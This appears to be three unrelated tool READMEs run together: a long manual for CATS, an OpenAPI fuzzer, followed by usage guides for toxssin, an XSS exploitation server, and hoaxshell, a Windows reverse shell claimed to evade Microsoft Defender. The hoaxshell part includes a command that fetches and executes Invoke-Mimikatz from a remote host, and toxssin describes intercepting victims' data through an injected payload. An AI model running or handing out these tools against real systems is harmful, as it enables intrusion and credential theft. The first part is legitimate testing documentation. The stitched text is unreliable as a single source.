Field Fuzzers
which target request body fields or path parametersHeader Fuzzers
which target HTTP headersHTTP Fuzzers
which target just the interaction with the service (without fuzzing fields or headers)Additional checks which are not actually using any fuzzing, but leverage the CATS internal model of running the tests as Fuzzers
:
ContractInfo Fuzzers
which checks the contract for API good practicesSpecial Fuzzers
a special category which need further configuration and are focused on more complex activities like functional flow, security testing or supplying your own request templates, rather than OpenAPI specsCATS
has currently 42 registered Field Fuzzers
:
BooleanFieldsFuzzer
- iterate through each Boolean field and send random strings in the targeted fieldDecimalFieldsLeftBoundaryFuzzer
- iterate through each Number field (either float or double) and send requests with outside the range values on the left side in the targeted fieldDecimalFieldsRightBoundaryFuzzer
- iterate through each Number field (either float or double) and send requests with outside the range values on the right side in the targeted fieldDecimalValuesInIntegerFieldsFuzzer
- iterate through each Integer field and send requests with decimal values in the targeted fieldEmptyStringValuesInFieldsFuzzer
- iterate through each field and send requests with empty String values in the targeted fieldExtremeNegativeValueDecimalFieldsFuzzer
- iterate through each Number field and send requests with the lowest value possible (-999999999999999999999999999999999999999999.99999999999 for no format, -3.4028235E38 for float and -1.7976931348623157E308 for double) in the targeted fieldExtremeNegativeValueIntegerFieldsFuzzer
- iterate through each Integer field and send requests with the lowest value possible (-9223372036854775808 for int32 and -18446744073709551616 for int64) in the targeted fieldExtremePositiveValueDecimalFieldsFuzzer
- iterate through each Number field and send requests with the highest value possible (999999999999999999999999999999999999999999.99999999999 for no format, 3.4028235E38 for float and 1.7976931348623157E308 for double) in the targeted fieldExtremePositiveValueInIntegerFieldsFuzzer
- iterate through each Integer field and send requests with the highest value possible (9223372036854775807 for int32 and 18446744073709551614 for int64) in the targeted fieldIntegerFieldsLeftBoundaryFuzzer
- iterate through each Integer field and send requests with outside the range values on the left side in the targeted fieldIntegerFieldsRightBoundaryFuzzer
- iterate through each Integer field and send requests with outside the range values on the right side in the targeted fieldInvalidValuesInEnumsFieldsFuzzer
- iterate through each ENUM field and send invalid valuesLeadingWhitespacesInFieldsTrimValidateFuzzer
- iterate through each field and send requests with Unicode whitespaces and invisible separators prefixing the current value in the targeted fieldLeadingControlCharsInFieldsTrimValidateFuzzer
- iterate through each field and send requests with Unicode control chars prefixing the current value in the targeted fieldLeadingSingleCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values prefixed with single code points emojisLeadingMultiCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values prefixed with multi code points emojisMaxLengthExactValuesInStringFieldsFuzzer
- iterate through each String fields that have maxLength declared and send requests with values matching the maxLength size/value in the targeted fieldMaximumExactValuesInNumericFieldsFuzzer
- iterate through each Number and Integer fields that have maximum declared and send requests with values matching the maximum size/value in the targeted fieldMinLengthExactValuesInStringFieldsFuzzer
- iterate through each String fields that have minLength declared and send requests with values matching the minLength size/value in the targeted fieldMinimumExactValuesInNumericFieldsFuzzer
- iterate through each Number and Integer fields that have minimum declared and send requests with values matching the minimum size/value in the targeted fieldNewFieldsFuzzer
- send a 'happy' flow request and add a new field inside the request called 'catsFuzzyField'NullValuesInFieldsFuzzer
- iterate through each field and send requests with null values in the targeted fieldOnlyControlCharsInFieldsTrimValidateFuzzer
- iterate through each field and send values with control chars onlyOnlyWhitespacesInFieldsTrimValidateFuzzer
- iterate through each field and send values with unicode separators onlyOnlySingleCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values with single code point emojis onlyOnlyMultiCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values with multi code point emojis onlyRemoveFieldsFuzzer
- iterate through each request fields and remove certain fields according to the supplied 'fieldsFuzzingStrategy'StringFieldsLeftBoundaryFuzzer
- iterate through each String field and send requests with outside the range values on the left side in the targeted fieldStringFieldsRightBoundaryFuzzer
- iterate through each String field and send requests with outside the range values on the right side in the targeted fieldStringFormatAlmostValidValuesFuzzer
- iterate through each String field and get its 'format' value (i.e. email, ip, uuid, date, datetime, etc); send requests with values which are almost valid (i.e. email@yhoo. for email, 888.1.1. for ip, etc) in the targeted fieldStringFormatTotallyWrongValuesFuzzer
- iterate through each String field and get its 'format' value (i.e. email, ip, uuid, date, datetime, etc); send requests with values which are totally wrong (i.e. abcd for email, 1244. for ip, etc) in the targeted fieldStringsInNumericFieldsFuzzer
- iterate through each Integer (int, long) and Number field (float, double) and send requests having the fuzz
string value in the targeted fieldTrailingWhitespacesInFieldsTrimValidateFuzzer
- iterate through each field and send requests with trailing with Unicode whitespaces and invisible separators in the targeted fieldTrailingControlCharsInFieldsTrimValidateFuzzer
- iterate through each field and send requests with trailing with Unicode control chars in the targeted fieldTrailingSingleCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values trailed with single code point emojisTrailingMultiCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values trailed with multi code point emojisVeryLargeStringsFuzzer
- iterate through each String field and send requests with very large values (40000 characters) in the targeted fieldWithinControlCharsInFieldsSanitizeValidateFuzzer
- iterate through each field and send values containing unicode control charsWithinSingleCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values containing single code point emojisWithinMultiCodePointEmojisInFieldsTrimValidateFuzzer
- iterate through each field and send values containing multi code point emojisZalgoTextInStringFieldsValidateSanitizeFuzzer
- iterate through each field and send values containing zalgo textYou can run only these Fuzzers
by supplying the --checkFields
argument.
CATS
has currently 28 registered Header Fuzzers
:
AbugidasCharsInHeadersFuzzer
- iterate through each header and send requests with abugidas chars in the targeted headerCheckSecurityHeadersFuzzer
- check all responses for good practices around Security related headers like: [{name=Cache-Control, value=no-store}, {name=X-XSS-Protection, value=1; mode=block}, {name=X-Content-Type-Options, value=nosniff}, {name=X-Frame-Options, value=DENY}]DummyAcceptHeadersFuzzer
- send a request with a dummy Accept header and expect to get 406 codeDummyContentTypeHeadersFuzzer
- send a request with a dummy Content-Type header and expect to get 415 codeDuplicateHeaderFuzzer
- send a 'happy' flow request and duplicate an existing headerEmptyStringValuesInHeadersFuzzer
- iterate through each header and send requests with empty String values in the targeted headerExtraHeaderFuzzer
- send a 'happy' flow request and add an extra field inside the request called 'Cats-Fuzzy-Header'LargeValuesInHeadersFuzzer
- iterate through each header and send requests with large values in the targeted headerLeadingControlCharsInHeadersFuzzer
- iterate through each header and prefix values with control charsLeadingWhitespacesInHeadersFuzzer
- iterate through each header and prefix value with unicode separatorsLeadingSpacesInHeadersFuzzer
- iterate through each header and send requests with spaces prefixing the value in the targeted headerRemoveHeadersFuzzer
- iterate through each header and remove different combinations of themOnlyControlCharsInHeadersFuzzer
- iterate through each header and replace value with control charsOnlySpacesInHeadersFuzzer
- iterate through each header and replace value with spacesOnlyWhitespacesInHeadersFuzzer
- iterate through each header and replace value with unicode separatorsTrailingSpacesInHeadersFuzzer
- iterate through each header and send requests with trailing spaces in the targeted header \TrailingControlCharsInHeadersFuzzer
- iterate through each header and trail values with control charsTrailingWhitespacesInHeadersFuzzer
- iterate through each header and trail values with unicode separatorsUnsupportedAcceptHeadersFuzzer
- send a request with an unsupported Accept header and expect to get 406 codeUnsupportedContentTypesHeadersFuzzer
- send a request with an unsupported Content-Type header and expect to get 415 codeZalgoTextInHeadersFuzzer
- iterate through each header and send requests with zalgo text in the targeted headerYou can run only these Fuzzers
by supplying the --checkHeaders
argument.
CATS
has currently 6 registered HTTP Fuzzers
:
BypassAuthenticationFuzzer
- check if an authentication header is supplied; if yes try to make requests without itDummyRequestFuzzer
- send a dummy json request {'cats': 'cats'}HappyFuzzer
- send a request with all fields and headers populatedHttpMethodsFuzzer
- iterate through each undocumented HTTP method and send an empty requestMalformedJsonFuzzer
- send a malformed json request which has the String 'bla' at the endNonRestHttpMethodsFuzzer
- iterate through a list of HTTP method specific to the WebDav protocol that are not expected to be implemented by REST APIsYou can run only these Fuzzers
by supplying the --checkHttp
argument.
Usually a good OpenAPI contract must follow several good practices in order to make it easy digestible by the service clients and act as much as possible as self-sufficient documentation:
json
types and propertiesPOST
, PATCH
and PUT
requestsCorrelationIds/TraceIds
within headersxml
payload unless there is a really good reason (like documenting an old API for example)Pet
with a property named pet
)CATS
has currently 9 registered ContractInfo Fuzzers
:
HttpStatusCodeInValidRangeFuzzer
- verifies that all HTTP response codes are within the range of 100 to 599NamingsContractInfoFuzzer
- verifies that all OpenAPI contract elements follow REST API naming good practicesPathTagsContractInfoFuzzer
- verifies that all OpenAPI paths contain tags elements and checks if the tags elements match the ones declared at the top levelRecommendedHeadersContractInfoFuzzer
- verifies that all OpenAPI contract paths contain recommended headers like: CorrelationId/TraceId, etc.RecommendedHttpCodesContractInfoFuzzer
- verifies that the current path contains all recommended HTTP response codes for all operationsSecuritySchemesContractInfoFuzzer
- verifies if the OpenApi contract contains valid security schemas for all paths, either globally configured or per pathTopLevelElementsContractInfoFuzzer
- verifies that all OpenAPI contract level elements are present and provide meaningful information: API description, documentation, title, version, etc.VersionsContractInfoFuzzer
- verifies that a given path doesn't contain versioning informationXmlContentTypeContractInfoFuzzer
- verifies that all OpenAPI contract paths responses and requests does not offer application/xml
as a Content-TypeYou can run only these Fuzzers
using > cats lint --contract=CONTRACT
.
You can leverage CATS super-powers of self-healing and payload generation in order to write functional tests. This is achieved using the so called FunctionaFuzzer
, which is not a Fuzzer
per se, but was named as such for consistency. The functional tests are written in a YAML file using a simple DSL. The DSL supports adding identifiers, descriptions, assertions as well as passing variables between tests. The cool thing is that, by leveraging the fact that CATS generates valid payload, you only need to override values for specific fields. The rest of the information will be populated by CATS
using valid data, just like a 'happy' flow request.
It's important to note that reference data
won't get replaced when using the FunctionalFuzzer
. So if there are reference data fields, you must also supply those in the FunctionalFuzzer
.
The FunctionalFuzzer
will only trigger if a valid functionalFuzzer.yml
file is supplied. The file has the following syntax:
/path:
testNumber:
description: Short description of the test
prop: value
prop#subprop: value
prop7:
- value1
- value2
- value3
oneOfSelection:
element#type: "Value"
expectedResponseCode: HTTP_CODE
httpMethod: HTTP_NETHOD
And a typical run will look like:
> cats run functionalFuzzer.yml -c contract.yml -s http://localhost:8080
This is a description of the elements within the functionalFuzzer.yml
file:
description
of the test. This will be set as the Scenario
description. If you don't supply a description
the testNumber
will be used instead.test1
, test2
, etc.expectedResponseCode
is mandatory, otherwise the Fuzzer
will ignore this test. The expectedResponseCode
tells CATS what to expect from the service when sending this test.prop7
has 3 values. This will actually result in 3 tests, one for each value.httpMethod
doesn't exist in the OpenAPI given path, a warning
will be issued and no test will be executedhttpMethod
is not a valid HTTP method, a warning
will be issued and no test will be executedoneOf
element to allow multiple request types, you can control which of the possible types the FunctionalFuzzer
will apply to using the oneOfSelection
keyword. The value of the oneOfSelection
keyword must match the fully qualified name of the discriminator
.oneOfSelection
is supplied, and the request payload accepts multiple oneOf
elements, than a custom test will be created for each type of payload#
as in the example above instead of .
When you have request payloads which can take multiple object types, you can use the oneOfSelection
keyword to specify which of the possible object types is required by the FunctionalFuzzer
. If you don't provide this element, all combinations will be considered. If you supply a value, this must be exactly the one used in the discriminator
.
As CATs mostly relies on generated data with small help from some reference data, testing complex business scenarios with the pre-defined Fuzzers
is not possible. Suppose we have an endpoint that creates data (doing a POST
), and we want to check its existence (via GET
). We need a way to get some identifier from the POST call and send it to the GET call. This is now possible using the FunctionalFuzzer
. The functionalFuzzerFile
can have an output
entry where you can state a variable name, and its fully qualified name from the response in order to set its value. You can then refer the variable using ${variable_name}
from another test in order to use its value.
Here is an example:
/pet:
test_1:
description: Create a Pet
httpMethod: POST
name: "My Pet"
expectedResponseCode: 200
output:
petId: pet#id
/pet/{id}:
test_2:
description: Get a Pet
id: ${petId}
expectedResponseCode: 200
Suppose the test_1
execution outputs:
{
"pet":
{
"id" : 2
}
}
When executing test_1
the value of the pet id will be stored in the petId
variable (value 2
). When executing test_2
the id
parameter will be replaced with the petId
variable (value 2
) from the previous case.
Please note: variables are visible across all custom tests; please be careful with the naming as they will get overridden.
The FunctionalFuzzer
can verify more than just the expectedResponseCode
. This is achieved using the verify
element. This is an extended version of the above functionalFuzzer.yml
file.
/pet:
test_1:
description: Create a Pet
httpMethod: POST
name: "My Pet"
expectedResponseCode: 200
output:
petId: pet#id
verify:
pet#name: "Baby"
pet#id: "[0-9]+"
/pet/{id}:
test_2:
description: Get a Pet
id: ${petId}
expectedResponseCode: 200
Considering the above file:
FunctionalFuzzer
will check if the response has the 2 elements pet#name
and pet#id
pet#name
has the Baby
value and that the pet#id
is numericThe following json response will pass test_1
:
{
"pet":
{
"id" : 2,
"name": "Baby"
}
}
But this one won't (pet#name
is missing):
{
"pet":
{
"id" : 2
}
}
You can also refer to request fields in the verify
section by using the ${request#..}
qualifier. Using the above example, by having the following verify
section:
/pet:
test_1:
description: Create a Pet
httpMethod: POST
name: "My Pet"
expectedResponseCode: 200
output:
petId: pet#id
verify:
pet#name: "${request#name}"
pet#id: "[0-9]+"
It will verify if the response contains a pet#name
element and that its value equals My Pet
as sent in the request.
Some notes:
verify
parameters support Java regexes as valuesCATs
will report an errorCATs
will report a warningCATs
will report a successYou can also set additionalProperties
fields through the functionalFuzzerFile
using the same syntax as for Setting additionalProperties in Reference Data.
The following keywords are reserved in FunctionalFuzzer
tests: output
, expectedResponseCode
, httpMethod
, description
, oneOfSelection
, verify
, additionalProperties
, topElement
and mapValues
.
Although CATs
is not a security testing tool, you can use it to test basic security scenarios by fuzzing specific fields with different sets of nasty strings. The behaviour is similar to the FunctionalFuzzer
. You can use the exact same elements for output variables, test correlation, verify responses and so forth, with the addition that you must also specify a targetFields
and/or targetFieldTypes
and a stringsList
element. A typical securityFuzzerFile
will look like this:
/pet:
test_1:
description: Run XSS scenarios
name: "My Pet"
expectedResponseCode: 200
httpMethod: all
targetFields:
- pet#id
- pet#description
stringsFile: xss.txt
And a typical run:
> cats run securityFuzzerFile.yml -c contract.yml -s http://localhost:8080
You can also supply output
, httpMethod
, oneOfSelection
and/or verify
(with the same behaviour as within the FunctionalFuzzer
) if they are relevant to your case.
The file uses Json path syntax for all the properties you can supply; you can separate elements through #
as in the example instead of .
.
This is what the SecurityFuzzer
will do after parsing the above securityFuzzerFile
:
name
targetFields
i.e. pet#id
and pet#description
it will create requests for each line from the xss.txt
file and supply those values in each fieldxss.txt
sample file included in the CATs
repo, this means that it will send 21 requests targeting pet#id
and 21 requests targeting pet#description
i.e. a total of 42 tests
SecurityFuzzer
will expect a 200
response code. If another response code is returned, then CATs
will report the test as error
.If you want the above logic to apply to all paths, you can use all
as the path name:
all:
test_1:
description: Run XSS scenarios
name: "My Pet"
expectedResponseCode: 200
httpMethod: all
targetFields:
- pet#id
- pet#description
stringsFile: xss.txt
Instead of specifying the field names, you can broader to scope to target certain fields types. For example, if we want to test for XSS in all string
fields, you can have the following securityFuzzerFile
:
all:
test_1:
description: Run XSS scenarios
name: "My Pet"
expectedResponseCode: 200
httpMethod: all
targetFieldTypes:
- string
stringsFile: xss.txt
As an idea on how to create security tests, you can split the nasty strings into multiple files of interest in your particular context. You can have a sql_injection.txt
, a xss.txt
, a command_injection.txt
and so on. For each of these files, you can create a test entry in the securityFuzzerFile
where you include the fields you think are meaningful for these types of tests. (It was a deliberate choice (for now) to not include all fields by default.) The expectedResponseCode
should be tweaked according to your particular context. Your service might sanitize data before validation, so might be perfectly valid to expect a 200
or might validate the fields directly, so might be perfectly valid to expect a 400
. A 500
will usually mean something was not handled properly and might signal a possible bug.
You can also set additionalProperties
fields through the functionalFuzzerFile
using the same syntax as for Setting additionalProperties in Reference Data.
The following keywords are reserved in SecurityFuzzer
tests: output
, expectedResponseCode
, httpMethod
, description
, verify
, oneOfSelection
, targetFields
, targetFieldTypes
, stringsFile
, additionalProperties
, topElement
and mapValues
.
The TemplateFuzzer
can be used to fuzz non-OpenAPI endpoints. If the target API does not have an OpenAPI spec available, you can use a request template to run a limited set of fuzzers. The syntax for running the TemplateFuzzer
is as follows (very similar to curl
:
> cats fuzz -H header=value -X POST -d '{"field1":"value1","field2":"value2","field3":"value3"}' -t "field1,field2,header" -i "2XX,4XX" http://service-url
The command will:
POST
request to http://service-url
{"field1":"value1","field2":"value2","field3":"value3"}
as a templatefield1,field2,header
with fuzz data and send each request to the service endpoint2XX,4XX
response codes and report an error when the received response code is not in this listIt was a deliberate choice to limit the fields for which the Fuzzer
will run by supplying them using the -t
argument. For nested objects, supply fully qualified names: field.subfield
.
Headers can also be fuzzed using the same mechanism as the fields.
This Fuzzer
will send the following type of data:
For a full list of options run > cats fuzz -h
.
You can also supply your own dictionary of data using the -w file
argument.
HTTP methods with bodies will only be fuzzed at the request payload and headers level.
HTTP methods without bodies will be fuzzed at path and query parameters and headers level. In this case you don't need to supply a -d
argument.
This is an example for a GET
request:
> cats fuzz -X GET -t "path1,query1" -i "2XX,4XX" http://service-url/paths1?query1=test&query2
There are often cases where some fields need to contain relevant business values in order for a request to succeed. You can provide such values using a reference data file specified by the --refData
argument. The reference data file is a YAML-format file that contains specific fixed values for different paths in the request document. The file structure is as follows:
/path/0.1/auth:
prop#subprop: 12
prop2: 33
prop3#subprop1#subprop2: "test"
/path/0.1/cancel:
prop#test: 1
For each path you can supply custom values for properties and sub-properties which will have priority over values supplied by any other Fuzzer
. Consider this request payload:
{
"address": {
"phone": "123",
"postCode": "408",
"street": "cool street"
},
"name": "Joe"
}
and the following reference data file file:
/path/0.1/auth:
address#street: "My Street"
name: "John"
This will result in any fuzzed request to the /path/0.1/auth
endpoint being updated to contain the supplied fixed values:
{
"address": {
"phone": "123",
"postCode": "408",
"street": "My Street"
},
"name": "John"
}
The file uses Json path syntax for all the properties you can supply; you can separate elements through #
as in the example above instead of .
.
You can use environment (system) variables in a ref data file using: $$VARIABLE_NAME
. (notice double $$
)
As additional properties are maps i.e. they don't actually have a structure, CATS cannot currently generate valid values. If the elements within such a data structure are essential for a request, you can supply them via the refData
file using the following syntax:
/path/0.1/auth:
address#street: "My Street"
name: "John"
additionalProperties:
topElement: metadata
mapValues:
test: "value1"
anotherTest: "value2"
The additionalProperties
element must contain the actual key-value pairs to be sent within the requests and also a top element if needed. topElement
is not mandatory. The above example will output the following json (considering also the above examples):
{
"address": {
"phone": "123",
"postCode": "408",
"street": "My Street"
},
"name": "John",
"metadata": {
"test": "value1",
"anotherTest": "value2"
}
}
The following keywords are reserved in a reference data file: additionalProperties
, topElement
and mapValues
.
You can also have the ability to send the same reference data for ALL paths (just like you do with the headers). You can achieve this by using all
as a key in the refData
file:
all:
address#zip: 123
This will try to replace address#zip
in all requests (if the field is present).
There are (rare) cases when some fields may not make sense together. Something like: if you send firstName
and lastName
, you are not allowed to also send name
. As OpenAPI does not have the capability to send request fields which are dependent on each other, you can use the refData
file to instruct CATS to remove fields before sending a request to the service. You can achieve this by using the cats_remove_field
as a value for the fields you want to remove. For the above case the refData
field will look as follows:
all:
name: "cats_remove_field"
You can leverage the fact that the FunctionalFuzzer
can run functional flows in order to create dynamic --refData
files which won't need manual setting the reference data values. The --refData
file must be created with variables ${variable}
instead of fixed values and those variables must be output variables in the functionalFuzzer.yml
file. In order for the FunctionalFuzzer
to properly replace the variables names with their values you must supply the --refData
file as an argument when the FunctionalFuzzer
runs.
> cats run functionalFuzzer.yml -c contract.yml -s http://localhost:8080 --refData=refData.yml
The functionalFuzzer.yml
file:
/pet:
test_1:
description: Create a Pet
httpMethod: POST
name: "My Pet"
expectedResponseCode: 200
output:
petId: pet#id
The refData.yml
file:
/pet-type:
id: ${petId}
After running CATS using the command and the 2 files above, you will get a refData_replace.yml
file where the id
will get the value returned into the petId
variable.
The refData_replaced.yml
:
/pet-type:
id: 123
You can now use the refData_replaced.yml
as a --refData
file for running CATS with the rest of the Fuzzers.
This can be used to send custom fixed headers with each payload. It is useful when you have authentication tokens you want to use to authenticate the API calls. You can use path specific headers or common headers that will be added to each call using an all
element. Specific paths will take precedence over the all
element. Sample headers file:
all:
Accept: application/json
/path/0.1/auth:
jwt: XXXXXXXXXXXXX
/path/0.2/cancel:
jwt: YYYYYYYYYYYYY
This will add the Accept
header to all calls and the jwt
header to the specified paths. You can use environment (system) variables in a headers file using: $$VARIABLE_NAME
. (notice double $$
)
DELETE
is the only HTTP verb that is intended to remove resources and executing the same DELETE
request twice will result in the second one to fail as the resource is no longer available. It will be pretty heavy to supply a large list of identifiers within the --refData
file and this is why the recommendation was to skip the DELETE
method when running CATS.
But starting with version 7.0.2 CATS has some intelligence in dealing with DELETE
. In order to have enough valid entities CATS will save the corresponding POST
requests in an internal Queue, and everytime a DELETE
request it will be executed it will poll data from there. In order to have this actually working, your contract must comply with common sense conventions:
DELETE
path is actually the POST
path plus an identifier: if POST is /pets
, then DELETE is expected to be /pets/{petId}
.{petId}
parameter within the body returned by the POST
request while doing various combinations of the petId
name. It will try to search for the following entries: petId, id, pet-id, pet_id
with different cases.POST
result, it will replace the {petId}
with that valueFor example, suppose that a POST to /pets
responds with:
{
"pet_id": 2,
"name": "Chuck"
}
When doing a DELETE
request, CATS will discover that {petId}
and pet_id
are used as identifiers for the Pet
resource, and will do the DELETE
at /pets/2
.
If these conventions are followed (which also align to good REST naming practices), it is expected that DELETE
and POST
requests will be on-par for most of the entities.
Some APIs might use content negotiation versioning which implies formats like application/v11+json
in the Accept
header.
You can handle this in CATS as follows:
requestBody:
required: true
content:
application/v5+json:
schema:
$ref: '#/components/RequestV5'
application/v6+json:
schema:
$ref: '#/components/RequestV6'
by having clear separation between versions, you can pass the --contentType
argument with the version you want to test: cats ... --contentType="application/v6+json"
.
If the OpenAPI contract is not version aware (you already exported it specific to a version) and the content looks as:
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/RequestV5'
and you still need to pass the application/v5+json
Accept
header, you can use the --headers
file to add it:
all:
Accept: "application/v5+json"
There isn't a consensus on how you should handle situations when you trail or prefix valid values with spaces. One strategy will be to have the service trimming spaces before doing the validation, while some other services will just validate them as they are. You can control how CATS should expect such cases to be handled by the service using the --edgeSpacesStrategy
argument. You can set this to trimAndValidate
or validateAndTrim
depending on how you expect the service to behave:
trimAndValidate
means that the service will first trim the spaces and after that run the validationvalidateAndTrim
means that the service runs the validation first without any trimming of spacesThis is a global setting i.e. configured when CATS starts and all Fuzzer
expects a consistent behaviour from all the service endpoints.
There are cases when certain parts of the request URL are parameterized. For example a case like: /{version}/pets
. {version}
is supposed to have the same value for all requests. This is why you can supply actual values to replace such parameters using the --urlParams
argument. You can supply a ;
separated list of name:value
pairs to replace the name
parameters with their corresponding value
. For example supplying --urlParams=version:v1.0
will replace the version
parameter from the above example with the value v1.0
.
CATS also supports schemas with oneOf
, allOf
and anyOf
composition. CATS wil consider all possible combinations when creating the fuzzed payloads.
The following configuration files: securityFuzzerFile, functionalFuzzerFile, refData
support setting dynamic values for the inner fields. For now the support only exists for java.time.*
and org.apache.commons.lang3.*
, but more types of elements will come in the near future.
Let's suppose you have a date/date-time field, and you want to set it to 10 days from now. You can do this by setting this as a value T(java.time.OffsetDateTime).now().plusDays(10)
. This will return an ISO compliant time in UTC format.
A functionalFuzzer
using this can look like:
/path:
testNumber:
description: Short description of the test
prop: value
prop#subprop: "T(java.time.OffsetDateTime).now().plusDays(10)"
prop7:
- value1
- value2
- value3
oneOfSelection:
element#type: "Value"
expectedResponseCode: HTTP_CODE
httpMethod: HTTP_NETHOD
You can also check the responses using a similar syntax and also accounting for the actual values returned in the response. This is a syntax than can test if a returned date is after the current date: T(java.time.LocalDate).now().isBefore(T(java.time.LocalDate).parse(expiry.toString()))
. It will check if the expiry
field returned in the json response, parsed as date, is after the current date.
The syntax of dynamically setting dates is compliant with the Spring Expression Language specs.
If you need to run CATS behind a proxy, you can supply the following arguments: --proxyHost
and --proxyPort
. A typical run with proxy settings on localhost:8080
will look as follows:
> cats --contract=YAML_FILE --server=SERVER_URL --proxyHost=localhost --proxyPort=8080
CATS supports any form of HTTP header(s) based authentication (basic auth, oauth, custom JWT, apiKey, etc) using the headers mechanism. You can supply the specific HTTP header name and value and apply to all
endpoints. Additionally, basic auth is also supported using the --basicauth=USR:PWD
argument.
By default, CATS trusts all server certificates and doesn't perform hostname verification.
For two-way SSL you can specify a JKS file (Java Keystore) that holds the client's private key using the following arguments:
--sslKeystore
Location of the JKS keystore holding certificates used when authenticating calls using one-way or two-way SSL--sslKeystorePwd
The password of the sslKeystore
--sslKeyPwd
The password of the private key within the sslKeystore
For details on how to load the certificate and private key into a Java Keystore you can use this guide: https://mrkandreev.name/blog/java-two-way-ssl/.
When using the native binaries (not the uberjar) there might be issues when using dynamic values in the CATS files. This is due to the fact that GraalVM only bundles whatever can discover at compile time. The following classes are currently supported:
java.util.Base64.Encoder.class, java.util.Base64.Decoder.class, java.util.Base64.class, org.apache.commons.lang3.RandomUtils.class, org.apache.commons.lang3.RandomStringUtils.class,
org.apache.commons.lang3.DateFormatUtils.class, org.apache.commons.lang3.DateUtils.class,
org.apache.commons.lang3.DurationUtils.class, java.time.LocalDate.class, java.time.LocalDateTime.class, java.time.OffsetDateTime.class
At this moment, CATS only works with OpenAPI specs and has limited functionality using template payloads through the cats fuzz ...
subcommand.
The Fuzzers
has the following support for media types and HTTP methods:
application/json
and application/x-www-form-urlencoded
media types onlyPOST
, PUT
, PATCH
, GET
and DELETE
If a response contains a free Map specified using the additionalParameters
tag CATS will issue a WARN
level log message as it won't be able to validate that the response matches the schema.
CATS uses RgxGen in order to generate Strings based on regexes. This has certain limitations mostly with complex patterns.
All custom files that can be used by CATS (functionalFuzzerFile
, headers
, refData
, etc) are in a YAML format. When setting or getting values to/from JSON for input and/or output variables, you must use a JsonPath syntax using either #
or .
as separators. You can find some selector examples here: JsonPath.
Please refer to CONTRIBUTING.md.
toxssin is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js).
This project started as (and still is) a research-based creative endeavor to explore the exploitability depth that an XSS vulnerability may introduce by using vanilla JavaScript, trusted certificates and cheap tricks.
Disclaimer: The project is quite fresh and has not been widely tested.
Find screenshots here.
By default, toxssin intercepts:
Most importantly, toxssin:
git clone https://github.com/t3l3machus/toxssin
cd ./toxssin
pip3 install -r requirements.txt
To start toxssin.py, you will need to supply ssl certificate and private key files.
If you don't own a domain with a trusted certificate, you can issue and use self-signed certificates with the following command (although this won't take you far):
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
It is strongly recommended to run toxssin with a trusted certificate (see How to get a Valid Certificate in this document). That said, you can start the toxssin server like this:
# python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pem
Visit the project's wiki for additional information.
In my experience, there are 4 major obstacles when it comes to Cross-Site Scripting attacks attempting to include external JS scripts:
Content-Security-Policy
header with the script-src
set to specific domain(s) only will block scripts with cross-domain src from loading. Toxssin relies on the eval()
function to deliver its poison, so, if the website has a CSP and the unsafe-eval
source expression is not specified in the script-src
directive, the attack will most likely fail (i'm working on a second poison delivery method to work around this).Note: The "Mixed Content" error can of course occur when the target website is hosted via http and the JavaScript payload via https. This limits the scope of toxssin to https only webistes, as (by default) toxssin is started with ssl only.
First, you need to own a domain name. The fastest and most economic way to get one (in my knowledge) is via a cheap domain registrar service (e.g. https://www.namecheap.com/). Search for a random string domain name (e.g. "fvcm98duf") and check the less popular TLDs, like .xyz, as they will probably cost around 3$ per year.
After you purchase a domain name, you can use certbot (Let's Encrypt) to get a trusted certificate in 5 minutes or less:
Tip: Don't install and run certbot on your own, you might get unexpected errors. Stick with the instructions.
2022-06-19
- Added the exec prompt command (you can now execute custom JS scripts against a session).2022-06-23
- I added two simple, dirty scripts as templates for testing the exec prompt command. I also fixed the cmd prompt's backward history access and made some improvements.
The idea is to make it sharper, more reliable and expand its capabilities. Currently, i'm working on improving file captures.
hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it's own PowerShell payload and it supports encryption (ssl).
So far, it has been tested on fully updated Windows 11 Enterprise and Windows 10 Pro boxes (see video and screenshots).
Find more screenshots here.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
sudo python3 hoaxshell.py -s <your_ip>
When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the "rawpayload" prompt command or start hoaxshell with the -r
argument. After the payload has been executed on the victim, you'll be able to run PowerShell commands against it.
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.
In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.
sudo python3 hoaxshell.py -s <your_ip> -g
Important: Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).
The shell is going to hang if you execute a command that initiates an interactive session. Example:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
> cmd.exe
So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.
I am currently working on some auxiliary-type prompt commands to automate parts of host enumeration.